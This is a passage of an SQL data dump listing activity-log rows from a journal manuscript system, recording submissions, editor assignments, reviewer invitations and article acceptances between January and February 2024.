article',14430,'Publisher',972),(132435,'2024-01-25 14:22:14','Editor has been Editor Decision Accepted article',14433,'Editor',1315),(132436,'2024-01-25 14:25:05','Publisher has been Accepted Articles  article',14433,'Publisher',972),(132437,'2024-01-25 14:31:42','Editor has been Editor Decision Accepted article',14427,'Editor',1324),(132438,'2024-01-25 14:39:55','Editor has been 2 article',14427,'Editor',972),(132439,'2024-01-25 14:40:00','Editor has been 2 article',14427,'Editor',972),(132440,'2024-01-25 14:55:26','Editor has Accepted to review Manuscript',14430,'Editor',1785),(132441,'2024-01-25 14:55:36','Editor has been Editor Decision Accepted article',14430,'Editor',1785),(132442,'2024-01-25 14:57:37','Publisher has been Accepted Articles  article',14430,'Publisher',972),(132443,'2024-01-25 15:26:57','Editor has been Editor Decision Accepted article',14430,'Editor',1785),(132444,'2024-01-25 15:29:03','Publisher has been Accepted Articles  article',14430,'Publisher',972),(132445,'2024-01-25 15:37:19','Editor has been Editor Decision Accepted article',14432,'Editor',1367),(132446,'2024-01-25 15:38:15','Editor has been 2 article',14432,'Editor',972),(132447,'2024-01-25 15:43:19','Editor has been Editor Decision Accepted article',14418,'Editor',1367),(132448,'2024-01-25 15:45:56','Publisher has been Accepted Articles  article',14418,'Publisher',972),(132449,'2024-01-25 15:48:46','Editor has been Editor Decision Accepted article',14419,'Editor',1784),(132450,'2024-01-25 15:50:19','Publisher has been Accepted Articles  article',14419,'Publisher',972),(132451,'2024-01-25 15:52:10','Publisher has been Accepted Articles  article',14420,'Publisher',972),(132452,'2024-01-25 15:53:59','Publisher has been Accepted Articles  article',14421,'Publisher',972),(132453,'2024-01-25 15:55:54','Publisher has been Accepted Articles  article',14422,'Publisher',972),(132454,'2024-01-25 15:59:32','Editor has been Editor Decision Accepted article',14433,'Editor',1315),(132455,'2024-01-25 16:01:39','Publisher has been Accepted Articles  article',14433,'Publisher',972),(132456,'2024-01-26 10:25:05','Publisher has Invited Reviewer',14522,'Publisher',85),(132457,'2024-01-26 10:25:10','Publisher has Invited Reviewer',14522,'Publisher',85),(132458,'2024-01-26 10:25:16','Publisher has Invited Reviewer',14522,'Publisher',85),(132459,'2024-01-26 10:25:21','Publisher has Invited Reviewer',14522,'Publisher',85),(132460,'2024-01-26 10:25:40','Publisher has Invited Reviewer',14522,'Publisher',85),(132461,'2024-01-26 10:25:45','Publisher has Invited Reviewer',14522,'Publisher',85),(132462,'2024-01-27 18:45:09','Manuscript Submitted by Author',14531,'Author',14572),(132463,'2024-01-27 18:46:42','Manuscript Submitted by Author',14532,'Author',14572),(132464,'2024-01-27 18:49:09','Manuscript Submitted by Author',14533,'Author',14572),(132465,'2024-01-27 19:06:50','Manuscript Submitted by Author',14536,'Author',14572),(132466,'2024-01-27 20:50:57','Manuscript Submitted by Author',14537,'Author',14572),(132467,'2024-01-27 21:06:50','Manuscript Submitted by Author',14538,'Author',14572),(132468,'2024-01-27 21:12:31','Manuscript Submitted by Author',14539,'Author',14572),(132469,'2024-01-30 10:11:00','Editor has Accepted to review Manuscript',14409,'Editor',1792),(132470,'2024-01-30 10:12:09','Editor has been Editor Decision Accepted article',14409,'Editor',1792),(132471,'2024-01-30 11:22:21','Editor has Accepted to review Manuscript',14445,'Editor',222),(132472,'2024-01-30 11:22:39','Editor has been Editor Decision Accepted article',14445,'Editor',222),(132473,'2024-01-30 11:23:11','Editor has Accepted to review Manuscript',14446,'Editor',222),(132474,'2024-01-30 11:23:32','Editor has been Editor Decision Accepted article',14446,'Editor',222),(132475,'2024-01-30 11:24:10','Editor has Accepted to review Manuscript',14447,'Editor',222),(132476,'2024-01-30 11:24:19','Editor has been Editor Decision Accepted article',14447,'Editor',222),(132477,'2024-01-30 11:24:50','Editor has Accepted to review Manuscript',14449,'Editor',222),(132478,'2024-01-30 11:25:02','Editor has been Editor Decision Accepted article',14449,'Editor',222),(132479,'2024-01-30 11:25:40','Editor has Accepted to review Manuscript',14450,'Editor',222),(132480,'2024-01-30 11:25:47','Editor has been Editor Decision Accepted article',14450,'Editor',222),(132481,'2024-01-30 11:25:55','Editor has Accepted to review Manuscript',14451,'Editor',222),(132482,'2024-01-30 11:26:08','Editor has been Editor Decision Accepted article',14451,'Editor',222),(132483,'2024-01-30 11:28:12','Editor has Accepted to review Manuscript',14452,'Editor',221),(132484,'2024-01-30 11:28:21','Editor has been Editor Decision Accepted article',14452,'Editor',221),(132485,'2024-01-30 11:28:47','Editor has Accepted to review Manuscript',14453,'Editor',221),(132486,'2024-01-30 11:28:50','Editor has Accepted to review Manuscript',14453,'Editor',221),(132487,'2024-01-30 11:29:09','Editor has been Editor Decision Accepted article',14453,'Editor',221),(132488,'2024-01-30 11:29:36','Editor has Accepted to review Manuscript',14455,'Editor',221),(132489,'2024-01-30 11:29:54','Editor has been Editor Decision Accepted article',14455,'Editor',221),(132490,'2024-01-30 11:42:23','Publisher has been Accepted Articles  article',14445,'Publisher',84),(132491,'2024-01-30 11:44:08','Publisher has been Accepted Articles  article',14446,'Publisher',84),(132492,'2024-01-30 11:46:10','Publisher has been Accepted Articles  article',14447,'Publisher',84),(132493,'2024-01-30 11:48:23','Publisher has been Accepted Articles  article',14449,'Publisher',84),(132494,'2024-01-30 11:50:07','Publisher has been Accepted Articles  article',14450,'Publisher',84),(132495,'2024-01-30 11:51:40','Publisher has Invited Reviewer',14522,'Publisher',85),(132496,'2024-01-30 11:51:45','Publisher has Invited Reviewer',14522,'Publisher',85),(132497,'2024-01-30 11:51:49','Publisher has been Accepted Articles  article',14451,'Publisher',84),(132498,'2024-01-30 11:51:51','Publisher has Invited Reviewer',14522,'Publisher',85),(132499,'2024-01-30 11:51:52','Publisher has been Accepted Articles  article',14451,'Publisher',84),(132500,'2024-01-30 11:51:57','Publisher has Invited Reviewer',14522,'Publisher',85),(132501,'2024-01-30 11:52:02','Publisher has Invited Reviewer',14522,'Publisher',85),(132502,'2024-01-30 11:53:23','Publisher has been Accepted Articles  article',14452,'Publisher',84),(132503,'2024-01-30 11:56:54','Publisher has been Accepted Articles  article',14453,'Publisher',84),(132504,'2024-01-30 11:58:30','Publisher has been Accepted Articles  article',14455,'Publisher',84),(132505,'2024-01-30 19:06:34','Manuscript Submitted by Publisher',14540,'Publisher',48),(132506,'2024-01-30 19:08:15','Manuscript Submitted by Publisher',14541,'Publisher',48),(132507,'2024-01-30 19:14:39','Manuscript Submitted by Publisher',14542,'Publisher',48),(132508,'2024-01-30 19:15:59','Manuscript Submitted by Publisher',14543,'Publisher',48),(132509,'2024-01-30 19:17:19','Manuscript Submitted by Publisher',14544,'Publisher',48),(132510,'2024-01-31 01:39:53','Manuscript Submitted by Author using Submission form',14545,'Author',14578),(132511,'2024-01-31 09:28:04','Publisher has been Assigned Editor',14354,'Publisher',376),(132512,'2024-01-31 15:40:30','Publisher has been Accepted Articles  article',14409,'Publisher',1009),(132513,'2024-01-31 15:41:35','Editor has Accepted to review Manuscript',14410,'Editor',1750),(132514,'2024-01-31 15:42:25','Editor has been Editor Decision Accepted article',14410,'Editor',1750),(132515,'2024-01-31 15:43:43','Publisher has been Accepted Articles  article',14410,'Publisher',1009),(132516,'2024-01-31 15:47:33','Editor has Accepted to review Manuscript',14411,'Editor',1793),(132517,'2024-01-31 15:47:51','Editor has been Editor Decision Accepted article',14411,'Editor',1793),(132518,'2024-01-31 15:48:53','Publisher has been Accepted Articles  article',14411,'Publisher',1009),(132519,'2024-01-31 15:50:36','Editor has Accepted to review Manuscript',14412,'Editor',1750),(132520,'2024-01-31 15:50:50','Editor has been Editor Decision Accepted article',14412,'Editor',1750),(132521,'2024-01-31 15:51:44','Publisher has been Accepted Articles  article',14412,'Publisher',1009),(132522,'2024-01-31 15:52:49','Editor has Accepted to review Manuscript',14413,'Editor',1794),(132523,'2024-01-31 15:53:00','Editor has been Editor Decision Accepted article',14413,'Editor',1794),(132524,'2024-01-31 15:54:05','Publisher has been Accepted Articles  article',14413,'Publisher',1009),(132525,'2024-01-31 15:55:48','Editor has been Editor Decision Accepted article',14414,'Editor',1749),(132526,'2024-01-31 15:56:47','Publisher has been Accepted Articles  article',14414,'Publisher',1009),(132527,'2024-01-31 15:58:10','Editor has Accepted to review Manuscript',14415,'Editor',1795),(132528,'2024-01-31 15:58:21','Editor has been Editor Decision Accepted article',14415,'Editor',1795),(132529,'2024-01-31 15:59:43','Publisher has been Accepted Articles  article',14415,'Publisher',1009),(132530,'2024-01-31 16:36:43','Editor has Accepted to review Manuscript',14428,'Editor',1793),(132531,'2024-01-31 16:37:00','Editor has been Editor Decision Accepted article',14428,'Editor',1793),(132532,'2024-01-31 16:37:52','Publisher has been Accepted Articles  article',14428,'Publisher',1009),(132533,'2024-01-31 16:40:35','Editor has been Editor Decision Accepted article',14431,'Editor',1749),(132534,'2024-01-31 16:41:46','Publisher has been Accepted Articles  article',14431,'Publisher',1009),(132535,'2024-01-31 16:44:29','Editor has Accepted to review Manuscript',14429,'Editor',1792),(132536,'2024-01-31 16:44:47','Editor has been Editor Decision Accepted article',14429,'Editor',1792),(132537,'2024-01-31 16:46:25','Publisher has been Accepted Articles  article',14429,'Publisher',1009),(132538,'2024-02-01 00:38:01','Manuscript Submitted by Author using Submission form',14546,'Author',14579),(132539,'2024-02-01 14:56:40','Publisher has been Assigned Editor',14469,'Publisher',988),(132540,'2024-02-01 15:02:32','Publisher has been Assigned Editor',14470,'Publisher',988),(132541,'2024-02-01 15:02:54','Publisher has been Assigned Editor',14472,'Publisher',988),(132542,'2024-02-01 15:03:13','Publisher has been Assigned Editor',14475,'Publisher',988),(132543,'2024-02-01 15:03:32','Publisher has been Assigned Editor',14476,'Publisher',988),(132544,'2024-02-01 15:03:51','Publisher has been Assigned Editor',14479,'Publisher',988),(132545,'2024-02-01 15:04:05','Publisher has been Assigned Editor',14480,'Publisher',988),(132546,'2024-02-01 15:04:24','Publisher has been Assigned Editor',14481,'Publisher',988),(132547,'2024-02-01 15:04:42','Publisher has been Assigned Editor',14482,'Publisher',988),(132548,'2024-02-01 15:05:31','Publisher has been Assigned Editor',14483,'Publisher',988),(132549,'2024-02-01 17:43:56','Editor has Accepted to review Manuscript',14400,'Editor',1780),(132550,'2024-02-01 17:44:24','Editor has been Editor Decision Accepted article',14400,'Editor',1780),(132551,'2024-02-01 17:46:25','Publisher has been Accepted Articles  article',14400,'',1212),(132552,'2024-02-02 09:32:27','Manuscript Submitted by Publisher',14547,'',1050),(132553,'2024-02-02 10:43:07','Publisher has been Assigned Editor',14546,'Publisher',75),(132554,'2024-02-02 10:43:44','Publisher has been Assigned Editor',14496,'Publisher',75),(132555,'2024-02-02 14:07:20','Publisher has been Assigned Editor',14547,'',1050),(132556,'2024-02-02 17:52:47','Publisher has Invited Reviewer',14546,'Publisher',75),(132557,'2024-02-02 17:52:52','Publisher has Invited Reviewer',14546,'Publisher',75),(132558,'2024-02-02 17:52:58','Publisher has Invited Reviewer',14546,'Publisher',75),(132559,'2024-02-02 17:53:03','Publisher has Invited Reviewer',14546,'Publisher',75),(132560,'2024-02-02 17:53:09','Publisher has Invited Reviewer',14546,'Publisher',75),(132561,'2024-02-02 17:53:15','Publisher has Invited Reviewer',14546,'Publisher',75),(132562,'2024-02-03 03:54:10','Author sent Email',14546,'Author',14579),(132563,'2024-02-03 04:05:43','Author sent Email',14546,'Author',14579),(132564,'2024-02-03 10:26:45','Editor has Accepted to review Manuscript',14499,'Editor',634),(132565,'2024-02-03 10:27:13','Editor has been Editor Decision Accepted article',14499,'Editor',634),(132566,'2024-02-03 10:27:22','Editor has Accepted to review Manuscript',14502,'Editor',634),(132567,'2024-02-03 10:27:47','Editor has been Editor Decision Accepted article',14502,'Editor',634),(132568,'2024-02-03 10:28:02','Editor has Accepted to review Manuscript',14505,'Editor',634),(132569,'2024-02-03 10:28:33','Editor has Accepted to review Manuscript',14507,'Editor',634),(132570,'2024-02-03 10:29:12','Editor has been Editor Decision Accepted article',14507,'Editor',634),(132571,'2024-02-03 10:29:30','Editor has Accepted to review Manuscript',14511,'Editor',634),(132572,'2024-02-03 10:29:47','Editor has been Editor Decision Accepted article',14511,'Editor',634),(132573,'2024-02-03 10:31:36','Editor has Accepted to review Manuscript',14501,'Editor',633),(132574,'2024-02-03 10:31:46','Editor has Accepted to review Manuscript',14504,'Editor',633),(132575,'2024-02-03 10:32:34','Editor has been Editor Decision Accepted article',14504,'Editor',633),(132576,'2024-02-03 10:38:02','Editor has Accepted to review Manuscript',14500,'Editor',1708),(132577,'2024-02-03 10:38:34','Editor has been Editor Decision Accepted article',14500,'Editor',1708),(132578,'2024-02-03 10:38:43','Editor has Accepted to review Manuscript',14503,'Editor',1708),(132579,'2024-02-03 10:39:14','Editor has been Editor Decision Accepted article',14503,'Editor',1708),(132580,'2024-02-03 10:39:58','Editor has Accepted to review Manuscript',14506,'Editor',1708),(132581,'2024-02-03 10:40:14','Editor has been Editor Decision Accepted article',14506,'Editor',1708),(132582,'2024-02-03 10:41:00','Editor has Accepted to review Manuscript',14509,'Editor',1708),(132583,'2024-02-03 10:41:10','Editor has been Editor Decision Accepted article',14509,'Editor',1708),(132584,'2024-02-03 10:43:06','Editor has Accepted to review Manuscript',14512,'Editor',1708),(132585,'2024-02-03 10:43:16','Editor has been Editor Decision Accepted article',14512,'Editor',1708),(132586,'2024-02-03 10:48:11','Editor has Accepted to review Manuscript',14510,'Editor',633),(132587,'2024-02-03 10:48:32','Editor has been Editor Decision Accepted article',14510,'Editor',633),(132588,'2024-02-03 10:50:29','Editor has Accepted to review Manuscript',14508,'Editor',634),(132589,'2024-02-03 10:50:50','Editor has been Editor Decision Accepted article',14508,'Editor',634),(132590,'2024-02-03 11:36:39','Publisher has been Accepted Articles  article',14509,'Publisher',645),(132591,'2024-02-03 11:38:04','Publisher has been Accepted Articles  article',14507,'Publisher',645),(132592,'2024-02-03 11:38:37','Publisher has been Accepted Articles  article',14506,'Publisher',645),(132593,'2024-02-03 11:39:50','Publisher has been Accepted Articles  article',14504,'Publisher',645),(132594,'2024-02-03 11:40:50','Publisher has been Accepted Articles  article',14503,'Publisher',645),(132595,'2024-02-03 11:41:27','Publisher has been Accepted Articles  article',14502,'Publisher',645),(132596,'2024-02-03 11:42:05','Publisher has been Accepted Articles  article',14501,'Publisher',645),(132597,'2024-02-03 11:42:36','Publisher has been Accepted Articles  article',14501,'Publisher',645),(132598,'2024-02-03 11:43:13','Publisher has been Accepted Articles  article',14500,'Publisher',645),(132599,'2024-02-03 11:43:47','Publisher has been Accepted Articles  article',14499,'Publisher',645),(132600,'2024-02-03 11:47:32','Editor has been Editor Decision Accepted article',14505,'Editor',634),(132601,'2024-02-03 11:48:30','Publisher has been Accepted Articles  article',14505,'Publisher',645),(132602,'2024-02-03 12:10:26','Editor has Accepted to review Manuscript',14417,'Editor',222),(132603,'2024-02-03 12:10:27','Editor has Accepted to review Manuscript',14417,'Editor',222),(132604,'2024-02-03 12:10:39','Editor has been Editor Decision Accepted article',14417,'Editor',222),(132605,'2024-02-03 12:11:31','Publisher has been Accepted Articles  article',14417,'Publisher',84),(132606,'2024-02-03 12:41:34','Publisher has been Assigned Editor',14545,'Publisher',48),(132607,'2024-02-05 09:30:52','Editor has Accepted to review Manuscript',14354,'Editor',1705),(132608,'2024-02-05 09:31:10','Editor has been Editor Decision Accepted article',14354,'Editor',1705),(132609,'2024-02-05 09:36:51','Editor has Accepted to review Manuscript',14484,'Editor',1452),(132610,'2024-02-05 09:37:10','Editor has been Editor Decision Accepted article',14484,'Editor',1452),(132611,'2024-02-05 09:37:27','Editor has Accepted to review Manuscript',14486,'Editor',1452),(132612,'2024-02-05 09:37:47','Editor has been Editor Decision Accepted article',14486,'Editor',1452),(132613,'2024-02-05 09:37:59','Editor has Accepted to review Manuscript',14491,'Editor',1452),(132614,'2024-02-05 09:38:15','Editor has been Editor Decision Accepted article',14491,'Editor',1452),(132615,'2024-02-05 09:38:41','Editor has Accepted to review Manuscript',14492,'Editor',1452),(132616,'2024-02-05 09:38:58','Editor has been Editor Decision Accepted article',14492,'Editor',1452),(132617,'2024-02-05 09:40:04','Editor has Accepted to review Manuscript',14485,'Editor',1011),(132618,'2024-02-05 09:40:22','Editor has been Editor Decision Accepted article',14485,'Editor',1011),(132619,'2024-02-05 09:40:37','Editor has Accepted to review Manuscript',14489,'Editor',1011),(132620,'2024-02-05 09:40:52','Editor has been Editor Decision Accepted article',14489,'Editor',1011),(132621,'2024-02-05 09:42:10','Editor has Accepted to review Manuscript',14487,'Editor',1245),(132622,'2024-02-05 09:42:28','Editor has been Editor Decision Accepted article',14487,'Editor',1245),(132623,'2024-02-05 09:42:41','Editor has Accepted to review Manuscript',14488,'Editor',1245),(132624,'2024-02-05 09:42:59','Editor has been Editor Decision Accepted article',14488,'Editor',1245),(132625,'2024-02-05 09:43:15','Editor has Accepted to review Manuscript',14490,'Editor',1245),(132626,'2024-02-05 09:43:31','Editor has been Editor Decision Accepted article',14490,'Editor',1245),(132627,'2024-02-05 09:46:37','Manuscript Submitted by Publisher',14548,'Publisher',319),(132628,'2024-02-05 09:49:46','Editor has been Editor Decision Accepted article',14490,'Editor',1245),(132629,'2024-02-05 09:50:59','Editor has Accepted to review Manuscript',14494,'Editor',1781),(132630,'2024-02-05 09:51:18','Editor has been Editor Decision Accepted article',14494,'Editor',1781),(132631,'2024-02-05 09:51:26','Editor has Accepted to review Manuscript',14493,'Editor',1781),(132632,'2024-02-05 09:51:42','Editor has been Editor Decision Accepted article',14493,'Editor',1781),(132633,'2024-02-05 09:52:07','Manuscript Submitted by Publisher',14549,'Publisher',319),(132634,'2024-02-05 09:59:02','Manuscript Submitted by Publisher',14550,'Publisher',319),(132635,'2024-02-05 10:17:42','Manuscript Submitted by Publisher',14551,'Publisher',319),(132636,'2024-02-05 10:24:38','Manuscript Submitted by Publisher',14552,'Publisher',319),(132637,'2024-02-05 10:25:08','Publisher has been Accepted Articles  article',14485,'Publisher',376),(132638,'2024-02-05 10:26:45','Publisher has been Accepted Articles  article',14486,'Publisher',376),(132639,'2024-02-05 10:41:50','Manuscript Submitted by Publisher',14553,'Publisher',319),(132640,'2024-02-05 10:54:45','Publisher has been Accepted Articles  article',14493,'Publisher',376),(132641,'2024-02-05 10:56:03','Publisher has been Accepted Articles  article',14492,'Publisher',376),(132642,'2024-02-05 10:56:45','Publisher has been Accepted Articles  article',14491,'Publisher',376),(132643,'2024-02-05 10:58:00','Publisher has been Accepted Articles  article',14487,'Publisher',376),(132644,'2024-02-05 10:59:02','Publisher has been Accepted Articles  article',14488,'Publisher',376),(132645,'2024-02-05 10:59:53','Publisher has been Accepted Articles  article',14489,'Publisher',376),(132646,'2024-02-05 10:59:57','Manuscript Submitted by Publisher',14554,'Publisher',319),(132647,'2024-02-05 11:10:08','Publisher has been Assigned Editor',14521,'',1491),(132648,'2024-02-05 11:12:36','Publisher has been Accepted Articles  article',14521,'',1491),(132649,'2024-02-05 11:25:25','Manuscript Submitted by Author using Submission form',14555,'Author',14588),(132650,'2024-02-05 11:29:29','Manuscript Submitted by Publisher',14556,'Publisher',319),(132651,'2024-02-05 11:34:23','Manuscript Submitted by Publisher',14557,'Publisher',319),(132652,'2024-02-05 11:36:10','Manuscript Submitted by Publisher',14558,'Publisher',319),(132653,'2024-02-05 11:39:33','Reviewer has submitted comments',14522,'Reviewer',21528),(132654,'2024-02-05 11:41:18','Publisher has been Accepted Articles  article',14490,'Publisher',376),(132655,'2024-02-05 11:41:40','Publisher : Notified Editor',14522,'Publisher',85),(132656,'2024-02-05 11:46:10','Editor has Accepted to review Manuscript',14521,'Editor',192),(132657,'2024-02-05 11:47:48','Editor has Invited Reviewer',14521,'Editor',192),(132658,'2024-02-05 11:47:54','Editor has Invited Reviewer',14521,'Editor',192),(132659,'2024-02-05 11:48:00','Editor has Invited Reviewer',14521,'Editor',192),(132660,'2024-02-05 11:57:37','Publisher has been Accepted Articles  article',14494,'Publisher',376),(132661,'2024-02-05 14:15:57','Editor has been Editor Decision Accepted article',14522,'Editor',1408),(132662,'2024-02-05 15:04:59','Author sent Email',12812,'Author',13045),(132663,'2024-02-05 15:08:13','Author sent Email',12812,'Author',13045),(132664,'2024-02-06 10:04:27','Editor has Accepted to review Manuscript',14167,'Editor',1790),(132665,'2024-02-06 10:04:50','Editor has been Editor Decision Accepted article',14167,'Editor',1790),(132666,'2024-02-06 10:06:26','Editor has Accepted to review Manuscript',14478,'Editor',1790),(132667,'2024-02-06 10:06:39','Editor has been Editor Decision Accepted article',14478,'Editor',1790),(132668,'2024-02-06 10:06:56','Editor has Accepted to review Manuscript',14477,'Editor',1790),(132669,'2024-02-06 10:07:05','Editor has been Editor Decision Accepted article',14477,'Editor',1790),(132670,'2024-02-06 10:07:21','Editor has Accepted to review Manuscript',14474,'Editor',1790),(132671,'2024-02-06 10:07:31','Editor has been Editor Decision Accepted article',14474,'Editor',1790),(132672,'2024-02-06 10:07:48','Editor has Accepted to review Manuscript',14473,'Editor',1790),(132673,'2024-02-06 10:08:03','Editor has been Editor Decision Accepted article',14473,'Editor',1790),(132674,'2024-02-06 10:08:21','Editor has Accepted to review Manuscript',14471,'Editor',1790),(132675,'2024-02-06 10:08:30','Editor has been Editor Decision Accepted article',14471,'Editor',1790),(132676,'2024-02-06 10:08:48','Editor has Accepted to review Manuscript',14468,'Editor',1790),(132677,'2024-02-06 10:09:04','Editor has been Editor Decision Accepted article',14468,'Editor',1790),(132678,'2024-02-06 10:09:40','Editor has Accepted to review Manuscript',14467,'Editor',1790),(132679,'2024-02-06 10:09:58','Editor has been Editor Decision Accepted article',14467,'Editor',1790),(132680,'2024-02-06 10:10:18','Editor has Accepted to review Manuscript',14466,'Editor',1790),(132681,'2024-02-06 10:10:44','Editor has been Editor Decision Accepted article',14466,'Editor',1790),(132682,'2024-02-06 10:11:00','Editor has Accepted to review Manuscript',14465,'Editor',1790),(132683,'2024-02-06 10:11:16','Editor has been Editor Decision Accepted article',14465,'Editor',1790),(132684,'2024-02-06 10:21:42','Publisher has been Accepted Articles  article',14478,'Publisher',994),(132685,'2024-02-06 10:21:45','Publisher has been Accepted Articles  article',14478,'Publisher',994),(132686,'2024-02-06 10:22:37','Publisher has been Accepted Articles  article',14477,'Publisher',994),(132687,'2024-02-06 10:22:39','Publisher has been Accepted Articles  article',14477,'Publisher',994),(132688,'2024-02-06 10:23:44','Publisher has been Accepted Articles  article',14474,'Publisher',994),(132689,'2024-02-06 10:25:20','Publisher has been Accepted Articles  article',14473,'Publisher',994),(132690,'2024-02-06 10:26:29','Publisher has been Accepted Articles  article',14471,'Publisher',994),(132691,'2024-02-06 10:27:33','Publisher has been Accepted Articles  article',14468,'Publisher',994),(132692,'2024-02-06 10:28:40','Publisher has been Accepted Articles  article',14467,'Publisher',994),(132693,'2024-02-06 10:29:40','Publisher has been Accepted Articles  article',14466,'Publisher',994),(132694,'2024-02-06 10:30:50','Publisher has been Accepted Articles  article',14465,'Publisher',994),(132695,'2024-02-06 10:31:41','Publisher has been Accepted Articles  article',14167,'Publisher',994),(132696,'2024-02-07 09:40:48','Publisher has been Assigned Editor',14558,'Publisher',319),(132697,'2024-02-07 09:41:14','Publisher has been Assigned Editor',14557,'Publisher',319),(132698,'2024-02-07 09:41:35','Publisher has been Assigned Editor',14556,'Publisher',319),(132699,'2024-02-07 09:42:26','Publisher has been Assigned Editor',14554,'Publisher',319),(132700,'2024-02-07 09:42:50','Publisher has been Assigned Editor',14553,'Publisher',319),(132701,'2024-02-07 09:43:17','Publisher has been Assigned Editor',14552,'Publisher',319),(132702,'2024-02-07 09:43:36','Publisher has been Assigned Editor',14551,'Publisher',319),(132703,'2024-02-07 09:44:02','Publisher has been Assigned Editor',14550,'Publisher',319),(132704,'2024-02-07 09:44:27','Publisher has been Assigned Editor',14549,'Publisher',319),(132705,'2024-02-07 09:45:34','Publisher has been Assigned Editor',14548,'Publisher',319),(132706,'2024-02-07 10:02:19','Editor has Accepted to review Manuscript',14558,'Editor',1069),(132707,'2024-02-07 10:02:43','Editor has Accepted to review Manuscript',14548,'Editor',1069),(132708,'2024-02-07 10:04:13','Editor has Accepted to review Manuscript',14557,'Editor',1068),(132709,'2024-02-07 10:04:31','Editor has Accepted to review Manuscript',14551,'Editor',1068),(132710,'2024-02-07 10:05:08','Editor has Accepted to review Manuscript',14556,'Editor',1067),(132711,'2024-02-07 10:05:23','Editor has Accepted to review Manuscript',14550,'Editor',1067),(132712,'2024-02-07 10:09:46','Editor has Accepted to review Manuscript',14553,'Editor',1070),(132713,'2024-02-07 10:09:51','Editor has Accepted to review Manuscript',14552,'Editor',1070),(132714,'2024-02-07 10:10:47','Editor has Accepted to review Manuscript',14554,'Editor',1791),(132715,'2024-02-07 10:10:51','Editor has Accepted to review Manuscript',14549,'Editor',1791),(132716,'2024-02-07 11:31:37','Manuscript Updated',14498,'',1050),(132717,'2024-02-07 11:31:40','Manuscript Updated',14498,'',1050),(132718,'2024-02-07 11:31:41','Manuscript Updated',14498,'',1050),(132719,'2024-02-07 11:35:37','Publisher has been Accepted Articles  article',14498,'',1050),(132720,'2024-02-07 11:35:43','Publisher has been Accepted Articles  article',14498,'',1050),(132721,'2024-02-07 12:18:09','Editor has Accepted to review Manuscript',14463,'Editor',1456),(132722,'2024-02-07 12:18:23','Editor has been Editor Decision Accepted article',14463,'Editor',1456),(132723,'2024-02-07 12:19:35','Publisher has been Accepted Articles  article',14463,'Publisher',673),(132724,'2024-02-07 12:29:04','Editor has Accepted to review Manuscript',14462,'Editor',1456),(132725,'2024-02-07 12:29:18','Editor has been Editor Decision Accepted article',14462,'Editor',1456),(132726,'2024-02-07 12:30:26','Publisher has been Accepted Articles  article',14462,'Publisher',673),(132727,'2024-02-07 13:36:34','Editor has Accepted to review Manuscript',14461,'Editor',1456),(132728,'2024-02-07 13:36:51','Editor has been Editor Decision Accepted article',14461,'Editor',1456),(132729,'2024-02-07 13:38:13','Publisher has been Accepted Articles  article',14461,'Publisher',673),(132730,'2024-02-07 13:44:23','Editor has Accepted to review Manuscript',14460,'Editor',1732),(132731,'2024-02-07 13:44:41','Editor has been Editor Decision Accepted article',14460,'Editor',1732),(132732,'2024-02-07 13:46:17','Publisher has been Accepted Articles  article',14460,'Publisher',673),(132733,'2024-02-07 13:55:40','Editor has Accepted to review Manuscript',14459,'Editor',1732),(132734,'2024-02-07 13:55:58','Editor has been Editor Decision Accepted article',14459,'Editor',1732),(132735,'2024-02-07 13:57:22','Publisher has been Accepted Articles  article',14459,'Publisher',673),(132736,'2024-02-07 14:05:24','Editor has Accepted to review Manuscript',14458,'Editor',1732),(132737,'2024-02-07 14:05:47','Editor has been Editor Decision Accepted article',14458,'Editor',1732),(132738,'2024-02-07 14:07:08','Publisher has been Accepted Articles  article',14458,'Publisher',673),(132739,'2024-02-08 11:56:08','Editor has Accepted to review Manuscript',14456,'Editor',1370),(132740,'2024-02-08 11:56:20','Editor has been Editor Decision Accepted article',14456,'Editor',1370),(132741,'2024-02-08 11:57:53','Publisher has been Accepted Articles  article',14456,'Publisher',673),(132742,'2024-02-08 12:10:05','Editor has Accepted to review Manuscript',14232,'Editor',1732),(132743,'2024-02-08 12:10:22','Editor has been Editor Decision Accepted article',14232,'Editor',1732),(132744,'2024-02-08 12:11:43','Publisher has been Accepted Articles  article',14232,'Publisher',673),(132745,'2024-02-08 12:18:45','Editor has Accepted to review Manuscript',14231,'Editor',1456),(132746,'2024-02-08 12:19:00','Editor has been Editor Decision Accepted article',14231,'Editor',1456),(132747,'2024-02-08 12:36:38','Publisher has been Accepted Articles  article',14231,'Publisher',673),(132748,'2024-02-09 10:40:49','Publisher has been Assigned Editor',14555,'Publisher',48),(132749,'2024-02-09 10:41:54','Publisher has been Assigned Editor',14544,'Publisher',48),(132750,'2024-02-09 19:12:53','Editor has Accepted to review Manuscript',14545,'Editor',192),(132751,'2024-02-09 19:16:11','Editor has Invited Reviewer',14545,'Editor',192),(132752,'2024-02-09 19:18:42','Editor has Declined to review Manuscript',14555,'Editor',192),(132753,'2024-02-12 11:01:59','Publisher has been Assigned Editor',14398,'Publisher',972),(132754,'2024-02-12 11:02:31','Publisher has been Assigned Editor',14391,'Publisher',972),(132755,'2024-02-12 11:02:45','Publisher has been Assigned Editor',14389,'Publisher',972),(132756,'2024-02-13 09:52:53','Reviewer has submitted comments',14546,'Reviewer',9014),(132757,'2024-02-14 10:09:14','Publisher has been Assigned Editor',14543,'Publisher',48),(132758,'2024-02-14 10:09:32','Publisher has been Assigned Editor',14542,'Publisher',48),(132759,'2024-02-14 10:09:47','Publisher has been Assigned Editor',14541,'Publisher',48),(132760,'2024-02-14 10:10:08','Publisher has been Assigned Editor',14540,'Publisher',48),(132761,'2024-02-14 10:32:51','Manuscript Submitted by Publisher',14559,'',1212),(132762,'2024-02-14 12:35:40','Editor has Accepted to review Manuscript',14398,'Editor',1784),(132763,'2024-02-14 12:36:28','Editor has been Editor Decision Accepted article',14398,'Editor',1784),(132764,'2024-02-14 12:39:39','Editor has been 2 article',14398,'Publisher',972),(132765,'2024-02-15 09:07:44','Publisher has been Assigned Editor',14559,'',1212),(132766,'2024-02-15 10:39:08','Publisher has Invited Reviewer',14496,'Publisher',75),(132767,'2024-02-15 10:39:14','Publisher has Invited Reviewer',14496,'Publisher',75),(132768,'2024-02-15 10:39:19','Publisher has Invited Reviewer',14496,'Publisher',75),(132769,'2024-02-15 10:39:25','Publisher has Invited Reviewer',14496,'Publisher',75),(132770,'2024-02-15 11:07:48','Manuscript Submitted by Publisher',14560,'Publisher',972),(132771,'2024-02-15 11:14:38','Manuscript Submitted by Publisher',14561,'Publisher',972),(132772,'2024-02-15 11:23:50','Manuscript Submitted by Publisher',14562,'Publisher',972),(132773,'2024-02-15 11:36:36','Manuscript Submitted by 